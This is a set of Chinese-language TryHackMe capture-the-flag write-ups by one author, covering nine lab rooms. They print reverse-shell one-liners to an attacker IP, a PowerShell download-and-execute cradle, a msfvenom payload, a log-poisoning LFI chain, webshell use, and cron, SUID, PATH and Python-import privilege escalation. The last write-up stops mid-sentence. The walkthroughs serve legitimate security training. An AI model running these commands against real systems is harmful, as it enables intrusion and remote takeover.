Source (Try Hack Me Writeup)

URL : https://tryhackme.com/room/source IP : 10.10.63.154 Scan 掃 Portrustscan -a 10.10.63.154 -r 1-65535 22 10000nmap -A -p22,10000 10.10.63.154- 發現 10000 是 MiniServ 1.890直接連上去- http://10.10.63.154:10000/ 發現它有綁 SSL 要用指定網址才能進10.10.63.154 ip-10-10-63-154.eu-west-1.compute.internal 綁上 /etc/hosts再次訪問- Exploit 透過版本可以查詢到 MiniServ 1.890 Exploithttps://github.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE/blob/master/webmin-1.890_exploit.py wget https://raw.githubusercontent.com/foxsin34/WebMin-1.890-Exploit-unauthorized-RCE/master/webmin-1.890_exploit.py python3 webmin-1.890_exploit.py ㄟ就直接拿到 root 了ㄟ 太無聊ㄌㄅ = =懶得戳 Reverse shell ㄌ- 直接用這個類似 Webshell 的東西 早點打完收工ㄅ Root FlagTHM{UPDATE_YOUR_INSTALL}取 User Flag- 先看 home 使用者名稱看使用者資料夾- 取得 Flag-

2021-08-16 · 1 分鐘 · steven

Anonymous (Try Hack Me Writeup)

URL : https://tryhackme.com/room/anonymous IP : 10.10.142.45 Recon 掃 Port 起手式rustscan -a 10.10.142.45 -r 1-65535 --ulimit 500022 21 139 445nmap -A -p21,22,139,445 10.10.142.45- 21 : FTPVSFTPD 2.0.822 : SSH139: SMB445: SMB嘗試連接 ftp- ftp 10.10.142.45 使用 anonymous 登入 發現裡面有一個 scripts 資料夾先把裡面所有檔案都載下來 觀察檔案- clean.sh看起來是一段 清除資料的 bash script removed_files.log- 看起來東西都是空的,是上述腳本的輸出 to_do.txt- 看起來沒有很重要 嘗試連線 SMB- 發現有一個 pics 資料夾裡面有兩張圖片- 把兩張圖片載下來- 觀察圖片- 看起來是狗勾!用 Exif tool 觀察- 可以看出 Photoshop 編輯過後來還用了 steghide 等程式,都沒有結果 嘗試 Exploit 尋找到 Vsftpd 2.3.4 有 Exploithttps://www.exploit-db.com/exploits/49757 wget https://www.exploit-db.com/download/49757 -O 49757.py 發現他是 Anonymous only,所以這個 Exploit 不能用!! 用了 msf 也是一樣的結果 QQ突然想到,說不定 ftp 上面的 clean.sh 是一個 cron job- 我們既然有讀寫的權限,可以在上面戳個 reverse shell 再傳上去 echo bash -c "'bash -i >& /dev/tcp /10.13.21.55/7877 0>&1'" >> clean.sh 本地端開 nc 來接成功接上ㄌ- 取得 User flag 提權 起手式 sudo -l看起來沒東西 QQ 準備 Linenum- wget 10.13.21.55:8000/LinEnum.sh 掃到了 /usr/bin/env 有 suid 透過 GTFOBins 尋找 env SUID 提權- /usr/bin/env /bin/sh -p成功提權- 取得 Root Flag 心得 FTP 上面的檔案也有可能是 Cron Job,看到 shell 就優先懷疑它是 cron ,看看能不能戳一些東西上去。打 Exploit 前須要先確定一下他有沒有一些限制(FTP的不能是 Anonymous登入)。

2021-08-11 · 1 分鐘 · steven

Relevant (Try Hack Me Writeup)

URL : https://tryhackme.com/room/relevant IP : 10.10.115.198 Recon rustscan -a 10.10.115.198發現有開80 135 139 445 3389nmap -A 10.10.115.198 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-09 01:58 EDT Nmap scan report for 10.10.115.198 Host is up (0.28s latency). Not shown: 995 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 |_http-title: IIS Windows Server 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Windows Server 2016 Standard Evaluation 14393 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | rdp-ntlm-info: | Target_Name: RELEVANT | NetBIOS_Domain_Name: RELEVANT | NetBIOS_Computer_Name: RELEVANT | DNS_Domain_Name: Relevant | DNS_Computer_Name: Relevant | Product_Version: 10.0.14393 |_ System_Time: 2021-08-09T06:00:45+00:00 | ssl-cert: Subject: commonName=Relevant | Not valid before: 2021-08-08T05:57:43 |_Not valid after: 2022-02-07T05:57:43 |_ssl-date: 2021-08-09T06:01:24+00:00; 0s from scanner time. Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 1h24m00s, deviation: 3h07m51s, median: 0s | smb-os-discovery: | OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3) | Computer name: Relevant | NetBIOS computer name: RELEVANT\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2021-08-08T23:00:47-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-08-09T06:00:49 |_ start_date: 2021-08-09T05:58:06 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 153.72 seconds 發現應該是 Winodws Server 2016 的機器 觀察網頁 去看 80 Port 是一個 IIS 的 Default Page掃目錄- python3 dirsearch.py -u http://10.10.115.198/ 看起來沒什麼結果 觀察 SMB smbclient --no-pass -L //10.10.115.198/可以觀察到有一個 nt4wrksv 目錄 smbclient -N //10.10.115.198/nt4wrksv- 就連上ㄌ get passwords.txt觀察 passwords.txt 檔案- 會發現是編碼過後的東西,後面有 == 所以很明顯是 Base64Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk解 Base64- 可以用 base64 -d 嘗試把帳密用 RDP 連線- xfreerdp +drives /u:Bob /v:10.10.115.198` xfreerdp +drives /u:Bill /v:10.10.115.198 但也都失敗ㄌQQ嘗試連線 SMB- 但也都失敗了 搜尋更多的 Port rustscan -a 10.10.115.198 --accessible -r 1-65535 發現真的有藏東西!!49669 49663 49667這邊我同時用 nmap 跑了一次,不過真的有夠慢QQ- nmap -p- 10.10.115.198 nmap -A -p49669,49663,49667 10.10.115.198- 發現 49663 是一個 IIS webserver掃目錄- python3 dirsearch.py -u http://10.10.115.198:49663/ 掃到 aspnet_client 搜尋發現 aspnet_client/system_web 裡面常常會搭配一些特定字串https://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html?view=flipcard所以可以再依據字串掃一次- 還真的掃到了 4_0_30319 通靈掃描QQ 不知道為什麼機器死掉ㄌ,重新開的 IP 是 10.10.63.244 我們如果隨便訪問一個不存在的目錄,會回應404curl -I http://10.10.63.244:49663/12334/ 通靈覺得,說不定 webroot 有剛才 smb 的資料夾?- curl -I curl -I http://10.10.63.244:49663/nt4wrksv/ 200! 還真的有!!那我們是不是能取得剛剛 passwords.txt 的檔案- http://10.10.63.244:49663/nt4wrksv/passwords.txt 度ㄉ!!真的可以!!!!! 準備 Exploit 那我們應該可以用匿名登入的 smb 來上傳東西囉!準備一隻喵喵smbclient -N //10.10.63.244/nt4wrksv- 嘗試用瀏覽器訪問!- 成功!!!既然他是 IIS ,又是 ASPX,那我們應該可以傳個 aspx 的 webshell?- 網路上隨便找了一ㄍhttps://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/asp/cmd.aspx 丟上去 可以ㄟ!!!- 好讚ㄛ可以看系統的資訊ㄌ- 亂逛系統- 輸入指令 “cd ……\Users\Bob\Desktop && dir”![](https://i.imgur.com/hZrXxtO.png)取得 user flag- "cd ..\..\..\Users\Bob\Desktop && type user.txt" 戳 Reverse shell 雖然 Webshell 已經滿好用的了,但Reverse shell 用起來還是比較爽,我們來嘗試使用 Reverse shell 下面提供了滿多我嘗試的方法,但大多數都失敗ㄌ,僅有最後一個成功,不過我把失敗的方法也都列出來 ...

2021-08-10 · 3 分鐘 · steven

Lazy Admin Final (Try Hack Me Writeup)

URL : https://tryhackme.com/room/lazyadmin IP : 10.10.40.99 Scan 根據套路,先掃 Portnmap -A 10.10.40.99 發現有開 80 跟 22觀察網頁- 80 port 是一個 Apaphe 在 Ubuntu 上的 Default page 掃路徑- python3 dirsearch.py -u http://10.10.40.99 掃到一個 /content http://10.10.40.99/content/上面寫說他是 SweetRice CMS 根據 /content 繼續掃會找到- 裡面有一個 Change Log http://10.10.40.99/content/changelog.txt 裡面有寫到他的版本是 1.5尋找 Exploit- 找到了適用的 Exploit,不過需要使用者帳號跟密碼 https://www.exploit-db.com/exploits/40716繼續掃路徑- 找到一個 mysql_backuphttp://10.10.40.99/content/inc/mysql_backup/ 裡面有一個備份的 SQL 檔案 內部有一些看起來是 PHP 序列話的東西5:\\"admin\\";s:7:\\"manager\\";s:6:\\"passwd\\";s:32:\\"42f749ade7f9e195bf475f37a44cafcb\\"; 看的出來admin : manager passwd : 42f749ade7f9e195bf475f37a44cafcb透過 Google 尋找- Sweet Rice CMS 的後台是 /as http://10.10.40.99/content/as/嘗試登入- 帳號 : manager 密碼 : 42f749ade7f9e195bf475f37a44cafcb登入失敗 正常人也不太可能用這種東西作為密碼 拿去 Google 後發現是 MD5可以透過這個網站解碼 https://md5.gromweb.com/?md5=42f749ade7f9e195bf475f37a44cafcb 所以答案是 Password123登入成功 Exploit 下載檔案wget https://www.exploit-db.com/download/40716 -O 40716.py``python3 40716.py 執行並輸入需要的資料- 10.10.40.99/content manager Password123 webshell.php5這邊我嘗試了 webshell.php 但是失敗 根據Exploit提示的改用 webshell.php5 就可以ㄌ 使用 Webshell- 可以成功連上改接 Reverse shell- http://10.10.40.99/content/attachment/webshell.php5?A=wget%2010.13.21.55:8000/s%20-O%20/tmp/s 本地端執行 nc -nlvp 7877 網址shell bash /tmp/s 就順利接上ㄌ取得 Flag- 準備提權 家目錄看到一組帳號密碼,先存下來 rice:randompass透過 sudo -l 發現我們可以用 sudo 執行這一段 Perl- 而這一段 perl 會用 sh 呼叫 /etc/copy.sh觀察 ls -al /etc/copy.sh- 可以發現我們有 Write 的權限 先把 /etc/copy.sh 備份一下以免搞壞- rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.190 5554 >/tmp/f 寫入我們的 Reverse shell- echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" > /etc/copy.sh監聽 Reverse shell- nc -nvlp 7878執行 Reverse shell- sudo /usr/bin/perl /home/itguy/backup.pl取得 Root- 取得 Root Flag

2021-08-10 · 1 分鐘 · steven

Blog (Try Hack Me Writeup)

URL : https://tryhackme.com/room/blog IP : 10.10.175.75 Recon 老梗先用 rustscan 掃一下rustscan -a 10.10.175.75 可以看出開的 port 有22 80 139 445接下來用 nmap 做進一步的掃瞄- nmap -A -p22,80,139,445 10.10.175.75 可以看出http-generator: WordPress 5.0What version of the above CMS was being used?- 5.0What CMS was Billy using?- WordPress Web 在文章內容中,可以看到有兩個作者Billy Joel帳號 :bjoelKaren Wheeler- 帳號 : kwheel Joel 的媽媽發現網頁會自動跳轉到 blog.thm- 這是 Wordpress 的一個問題,第一次進入就會在 DB 寫死 Domain name 並自動跳轉 我們可以透過修改 /etc/hosts 把 IP 綁上 domainsudo vim /etc/hosts 裡面加上一行 10.10.175.75 blog.thm用 dirsearch 掃一次看看- python3 dirsearch.py -u http://blog.thm/ 沒有什麼特別的結果,就是 Wordpress 該有的東西而已使用 WPScan,一款針對 Wordpress 的掃描器- 可以掃描出該網站有使用哪一些套件等 wpscan --update wpscan --url http://blog.thm └─$ wpscan --url http://blog.thm _______________________________________________________________ __ _______ _____ \ \ / / __ \ / ____| \ \ /\ / /| |__) | (___ ___ __ _ _ __ ® \ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \ \ /\ / | | ____) | (__| (_| | | | | \/ \/ |_| |_____/ \___|\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.17 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://blog.thm/ [10.10.175.75] [+] Started: Sat Aug 7 01:16:33 2021 Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.29 (Ubuntu) | Found By: Headers (Passive Detection) | Confidence: 100% [+] robots.txt found: http://blog.thm/robots.txt | Interesting Entries: | - /wp-admin/ | - /wp-admin/admin-ajax.php | Found By: Robots Txt (Aggressive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://blog.thm/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://blog.thm/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://blog.thm/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://blog.thm/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 5.0 identified (Insecure, released on 2018-12-06). | Found By: Rss Generator (Passive Detection) | - http://blog.thm/feed/, https://wordpress.org/?v=5.0 | - http://blog.thm/comments/feed/, https://wordpress.org/?v=5.0 [+] WordPress theme in use: twentytwenty | Location: http://blog.thm/wp-content/themes/twentytwenty/ | Last Updated: 2021-07-22T00:00:00.000Z | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt | [!] The version is out of date, the latest version is 1.8 | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3 | Style Name: Twenty Twenty | Style URI: https://wordpress.org/themes/twentytwenty/ | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | Confirmed By: Css Style In 404 Page (Passive Detection) | | Version: 1.3 (80% confidence) | Found By: Style (Passive Detection) | - http://blog.thm/wp-content/themes/twentytwenty/style.css?ver=1.3, Match: 'Version: 1.3' [+] Enumerating All Plugins (via Passive Methods) [i] No plugins Found. [+] Enumerating Config Backups (via Passive and Aggressive Methods) Checking Config Backups - Time: 00:00:16 (137 / 137) 100.00% Time: 00:00:16 [i] No Config Backups Found. [!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register [+] Finished: Sat Aug 7 01:17:25 2021 [+] Requests Done: 170 [+] Cached Requests: 7 [+] Data Sent: 40.812 KB [+] Data Received: 322.273 KB [+] Memory used: 213.184 MB [+] Elapsed time: 00:00:51 可以發現 wp-content/oploads 目錄沒有鎖前面有發現 Wordpress 的版本是 5.0- 上 searchsploit 尋找看看有沒有可以用的 Exploit wget https://www.exploit-db.com/download/49512 -O 49512.py 然而執行起來發現需要帳號密碼,所以就暫時先放一邊 SMB 前面 nmap 發現他有開 SMB 的 port來掃看看 smbmap -H blog.thm 可以發現有開一個Disk 叫做BillySMB也可以用 smbclient -L //blog.thm 列出裡面的資訊- 由於 SMB 可以使用匿名登入,所以詢問密碼只要直接按下 Enter即可 如上截圖,發現會出現一個 SMB1 Disable 的 錯誤- 依照下列網址方式處理https://dalemazza.wordpress.com/2020/04/20/nt_status_io_timeout-smb-error-and-how-to-fix-it/修改 /etc/samba/smb.conf- 在 [global] 裡面增加一行client min protocol = NT1就可以正常使用ㄌ輸入 smbclient -N '//blog/thm/BillySMB'- 可以直接進入 SMB 的 CLI輸入 ls 觀察裡面的資料- 輸入 get {檔名} 依序把檔案拔出來- 發現裡面有一張 QR Code- 網路上找一個 QR 轉換器然而只是一個普通的 Youtube 連結其他也都只是滿無聊的圖檔,沒有什麼特別 爆破密碼 爆破密碼很無聊,但有時候很有用針對 Wordpress 可以用 wpscan 內建的爆破方法我們先準備一個 user.txt 裡面有兩行,分別是兩個使用者bjoel kwheel``wpscan --url http://blog.thm/ -U user.txt -P /opt/rockyou.txt- 接下來使用 -U 配使用者名稱檔案 -P 配密碼字典檔來未看先猜一下,爆出來比較有機會的是 kwheel- 因為是開發者的媽媽,老人家資安意識比較差 抱歉我就歧視等了十幾分鐘,真的成功的爆出了密碼!!- kwheel / cutiepie1 果然老人家愛用弱密碼接下來到 /wp-admin 準備登入- 也就真的順利登入了!!不過我們的使用者是 editor沒有權限可以修改 template 之類的方法取得 RCE 嘗試 exploit-db 的 Payload (失敗) 先講結論,失敗了,我也不知道為什麼 QQ我已經完全照著網路上的方法做 但是還是怪怪ㄉ QQ使用先前載好的 https://www.exploit-db.com/download/49512依照提示準備一個 gd.jpg- cp Alice-White-Rabbit.jpg gd.jpg 這邊我直接使用 smb 偷出來的圖片用 exiftool 寫入 shell- exiftool gd.jpg -CopyrightNotice="" 在這邊我們可以用 strings 觀察,檔案真的被寫進去了修改原始碼的 lhost 與 lport- python3 49512.py http://blog.thm/ kwheel cutiepie1 twentytwenty nc -nvlp 7877 然而,都失敗了QQQ 使用大絕招 msf !! 輸入 msfconsole``use exploit/multi/http/wp_crop_rce show options觀察需要的參數set PASSWORD cutiepie1``set USERNAME kwheel``set RHOSTS blog.thm``set LHOST 10.13.21.55``exploit- 就成功接上了 meterpreter 的 shell- 但這邊我還是想使用普通的 reverse shell 所以我們就輸入 shell 切換進入再來我想接回 reverse shell- 在攻擊機輸入 nc -nvlp 7877 meterpreter 輸入bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1' 就可以順利接回 shell然而在使用者的家目錄看到的 user.txt 是假的 QQ沒關係,我現在懶得找,等有 root 後再說ㄅ觀察使用者家目錄有一個 pdf 檔案,抓出來研究看看- 攻擊機 nc -l -p 1234 > Billy_Joel_Termination_May20-2020.pdf 靶機 `nc 10.13.21.55 1234 準備提權 使用常常出現的工具 linpeaswget 10.13.21.55:8000/linpeas.sh bash linpeas.sh 我們可以找到 wordpress 的資料庫密碼 LittleYellowLamp90!@發現 sudo 版本是 1.8.21- 發現一個奇怪的檔案有 suid- 檔案路徑是 /usr/sbin/checker 觀察 Checker- 先把檔案傳出來攻擊機 nc -l -p 1234 > checker 靶機 nc 10.13.21.55 1234 使用 r2分析-r2 checker` aaa s main VV 可以發現他會把 admin 傳入 getenv 然後如果有值就會給我們一個 shell回到攻擊機,給予一個 admin 的環境變數- admin=meow /usr/sbin/checker 就拿到 root shell 了 取得 root flag- 9a0b2b618bef9bfa7ac28c1353d9f318等等 … 阿user flag ㄋ- 好懶得翻ㄛ…我們就暴力搜ㄅ find / -iname user.txt -print 2>/dev/null可以找到 user flag 藏在 /media/usb/user.txt- c8421899aae571f7af486492b71a8ab7

2021-08-08 · 4 分鐘 · steven

Bolt (Try Hack Me Writeup)

URL : https://tryhackme.com/room/bolt IP : 10.10.51.13 Recon rustscan -a 10.10.51.13 發現有開22 80 8000nmap -A -p22,80,8000 10.10.51.13- 觀察網頁- 808080- What port number has a web server with a CMS running?- 8000What is the username we can find in the CMS?- boltWhat is the password we can find for the username?- boltadmin123``python3 dirsearch.py -u http://10.10.51.13:8000/ -e all- http://10.10.51.13:8000/.htaccess裡面沒什麼特別網路上找到後臺網址- http://10.10.51.13:8000/bolt/login What version of the CMS is installed on the server? (Ex: Name 1.1.1)- Bolt 3.7.1 上一張截圖最下面有寫Google Bolt 3.7.1 Exploit- https://www.exploit-db.com/exploits/48296 wget https://www.exploit-db.com/download/48296 -O 48296.pyThere’s an exploit for a previous version of this CMS, which allows authenticated RCE. Find it on Exploit DB. What’s its EDB-ID?- 48296 不知道為什麼,我 run 起來失敗QQ網路上找到另外一組 exploit- https://medium.com/@foxsin34/bolt-cms-3-7-1-authenticated-rce-remote-code-execution-ed781e03237b 他莫名的把我的密碼改成 password 了 但是也沒有用 ?__?改用 msf- search bolt找到了第 0 個 RCE 的use 0``set PASSWORD password``set USERNAME bolt``set RHOSTS 10.10.51.13``set LHOST tun0``show optionsexploit- 成功 RCE 取得 flag- THM{wh0_d035nt_l0ve5_b0l7_r1gh7?}

2021-08-06 · 1 分鐘 · steven

Archangel (Try Hack Me Writeup)

url : https://tryhackme.com/room/archangel IP : 10.10.163.60 Recon 起手式,掃 Port rustscan -a 10.10.163.60 80 , 22掃路徑 python3 dirsearch.py -u http://10.10.163.60/ -e all- 觀察網頁首頁,發現裡面有 /flag- 點進去後 …… 幹… 用 curl 觀察 他會自動跳轉到這邊 https://www.youtube.com/watch?v=dQw4w9WgXcQ Dfferent Hostname 題目提示 : Find a different hostname 可以觀察 mafialive.thm``sudo vim /etc/hosts- 加上這一行 10.10.163.60 mafialive.thm 接下來到 http://mafialive.thm/ 就拿到了 flag再掃一次路徑python3 dirsearch.py -u http://mafialive.thm/ -e all- http://mafialive.thm/robots.txt /test.phphttp://mafialive.thm/test.php 觀察按下按鈕後的網址- http://mafialive.thm/test.php?view=/var/www/html/development_testing/mrrobot.php 感覺很明顯可以 LFI嘗試 Base64 Payloadhttp://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php 成功 !! 觀察 test.php 原始碼http://mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php INCLUDE Test Page. Not to be Deployed Here is a button 又撿到一個 flag thm{explo1t1ng_lf1}觀察原始碼發現,網址裡不能出現 ../.. 且一定要出現 /var/www/html/development_testing``../.. 可以用 .././.. 繞測試 curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././etc/passwd成功!!來看 apache access log- /var/log/apache2/access.log curl http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log 成功 !! 往上拉發現所有的 host log 都在這邊,所以可以直接針對 ip 來做 nc 寫 phpnc 10.10.163.60 80 GET /? 再回去看一次 access log- http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log 成功出現 phpinfo !! 寫入 webshell- nc 10.10.163.60 80 GET / http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&A=ls![](/uploads/2022/02/ea69f-JHfk4lv.png)下載 reverse shell- http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&B=wget 10.13.21.55:8000/s -O /tmp/s 本地準備監聽 nc -vlk 7877 執行 shell http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././.././.././.././var/log/apache2/access.log&B=bash%20/tmp/s 成功接上 使用 python 讓 terminal 變漂亮- python3 -c 'import pty; pty.spawn("/bin/bash")'找 user flag- thm{lf1_t0_rc3_1s_tr1cky}找到使用者資料夾內有 passwordbackup- 幹…再一次 等……等等,不會吧 該不會那個網址真 TM 是他的密碼 ?__? 好的,好險不是使用 Linpeas 掃- wget 10.13.21.55:8000/linpeas.sh bash linpeas.sh找到一個可疑的 cron job發現 這個 cron 會使用 archangel 來執行,而且我們對 /opt/helloworld.sh有讀寫權限寫入 reverse shellecho "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7878 0>&1'" >> /opt/helloworld.sh等待一分鐘後,自動接上!!- 找到 flagthm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}觀察使用者中的 secret 資料夾中- 有一個 backup 檔案有 suid透過 nc 把檔案傳出來- 監聽端 nc -l -p 1234 > meow 發送端 nc 10.13.21.55 1234 哼!這種等級的 reverse,連 ida 都不用開,我們用 r2 就好ㄌ- r2 meow` aaa s main VV 可以看到他會用 system call 一個 cp 而 cp 沒有寫絕對路徑,所以可以用 path 進行誤導 誤導 path 在家目錄創一個 fakepathmkdir fakepath export PATH=/home/archangel/fakepath:$PATH準備一個假的 cp 檔案- echo '#!/bin/bash' > cp echo "/bin/bash" >> cp chmod +x cp執行 backup- ./backup取得 root 權限 !!- thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}

2021-08-06 · 2 分鐘 · steven

Alfred (Try Hack Me Writeup)

URL : https://tryhackme.com/room/alfred IP : 10.10.244.238 Initial access rustscan -a 10.10.244.238 80 3389 8080nmap -A -p80,3389,8080 10.10.244.238- 發現 8080 的 Jenkins 是Jetty 9.4.z-SNAPSHOT 但找不到相關的 Exploit80 port 首頁- 看起來沒什麼特別的東西QQ python3 dirsearch.py -u http://10.10.244.238/掃了之後也沒啥東西8080 port 登入頁面- 發現會掃出一些404,但沒啥幫助 進入 Jenkins 看到官方的 hint 寫 *****:*****直接通靈猜 admin:admin 就進去了 …… 好無聊= =透過 Deploy 的 build code 輸入指令- whoami systeminfo 準備 Windows Reverse Shell- 本機wget https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1 nc -nvlp 7877靶機- powershell iex (New-Object Net.WebClient).DownloadString('http://10.13.21.55:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.13.21.55 -Port 7877就成功接上了- 取得 uesr flag- 使用 msfvenom 產 meterperter reverse shell- msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.21.55 LPORT=7879 -f exe -o meow.exe 開啟 msfconsole 準備接收- use exploit/multi/handler set LHOST 10.13.21.55 set LPORT 7879 set PAYLOAD windows/meterpreter/reverse_tcp show options 確認參數是否正確 run 等待接收下載並執行 meterpreter 的 shell- powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.13.21.55:8000/meow.exe','meow.exe')" Start-Process "meow.exe"msf 接上了!- What is the final size of the exe payload that you generated?- 73802meterperter- getuid回傳 Alfred\bruce``load incognito``list_tokens -g- 發現可以利用 BUILTIN\Administrators``impersonate_token "BUILTIN\Administrators"- 成功! 再次 whoamiMigrate 到 system- ps 準備寄生到 services.exe``migrate 668- 成功!輸入 shell- cd system type root.txt 取得 root flagdff0f748678f280250f25a45b8046b4a

2021-08-06 · 1 分鐘 · steven

Wonderland (Try Hack Me Writeup)

URL: https://tryhackme.com/dashboard IP : 10.10.166.15 Recon 一直 nmap 太老梗太無聊了來玩玩新東西 RustScan wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb sudo dpkg -i rustscan_2.0.1_amd64.deb``rustscan -a 10.10.166.15- 開 22 跟 80 網址 http://10.10.166.15/透過 dirsearch 可以找到/rhttp://10.10.166.15/r/ 再掃,可以掃到- /a 感覺每次都是一個字,所以可以爆搜看看,自己寫一個 python 腳本- import requests from multiprocessing import Pool url = 'http://10.10.166.15/r/a/' alphabat = 'abcdefghijklmnopqrstuvwxyz' def req(i): res = requests.get(f'{url}/{i}') if res.status_code == 200: print(i) p = Pool(10) p.map(req,alphabat) 如果爆到正確的就會 print 出來,然後手動把搜的結果加去 url 最後面再爆所以最後爆出的結果是r/a/b/b/i/thttp://10.10.166.15/r/a/b/b/i/t/- 觀察原始碼會發現一串奇怪的字串alice:HowDothTheLittleCrocodileImproveHisShiningTail 斷詞後發現是 How Doth The Little Crocodile Improve His Shining Tail 來自於How Doth the Little Crocodile 路易斯·卡羅創作的詩How doth the little crocodile Improve his shining tail And pour the waters of the Nile On every golden scale! How cheerfully he seems to grin How neatly spreads his claws, And welcomes little fishes in With gently smiling jaws!好…完全不重要 SSH 通靈一下,我們時常會把帳號跟密碼用 : 隔開說不定,上面那串就是 alice 的密碼!嘗試ssh登入看看ssh alice@10.10.166.15密碼 HowDothTheLittleCrocodileImproveHisShiningTail到處找了一輪,都找不到 user.txt QAQ- 算了,我們直接想辦法提權,等有 root 後再用上帝視角來搜! 但反而我們使用者alice的家目錄有一個沒有權限讀的 root.txt 輸入 sudo -l 觀察- 發現我們可以用 rabbit 使用者身分執行 /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 所以執行方法應該如下 sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 挾持 Python 觀察 walrus_and_the_carpenter.py發現內部的程式碼會 import random 這個時候我們可以透過一些小技巧挾持他的 randomPython 的 import 有一個特性- 首先他會讀取同一個資料夾裡面,是否有相同檔名的檔案來給他 Import 再來才會去找 sys.path 裡面的東西可以輸入 python3 -c "import sys; print(sys.path)" 觀察所以由於該檔案在我們家目錄,我們可以在自己家目錄下創一個 random.py- 此時如果執行該 python 檔案,即可使用我們自己的 random 我們建造的 random.py``python3 import pty pty.spawn("/bin/bash") 以 rabbit 使用者執行看看sudo -u rabbit /usr/bin/python3.6 /home/alice/walrus_and_the_carpenter.py 就會發現我們噴成 rabbit 的 shell 了! 逆向工程 進入 rabbit 後,發現他的家目錄有一個 teaParty 的檔案透過 file teaParty 檢查會發現他是一個 ELF 執行檔透過 ls -al teaParty 會發現他有 SUID- 那不管了,我們先執行看看ㄅ!- ./teaParty 噴了一些字,還有當前時間就卡住了,感覺可以讓我輸入一些字,那就先隨便輸入個 meow 看看ㄅ 哇…… 噴出了 Segmentation fault (core dumped) 母…母湯阿,不會在這邊要開始打 pwn 了吧 QWQ好吧,那我們先把檔案抓出來分析看看- cp teaParty /tmp chmod 777 /tmp/teaParty 本機scp alice@10.10.166.15:/tmp/teaParty .透過 Cutter 打開- 觀察 main 函數會發現,先會 set uid 跟 gid 為 0x3eb = 1003 先觀察一下 uid、gid 1003 是誰cat /etc/passwd | grep 1003 會發現是一個叫做 hatter 的使用者關於逆向這個程式,很明顯的重點就是以下三行- setuid(0x3eb); setgid(0x3eb); system("/bin/echo -n \'Probably by \' && date --date=\'next hour\' -R"); 然後他的 Segmentation fault 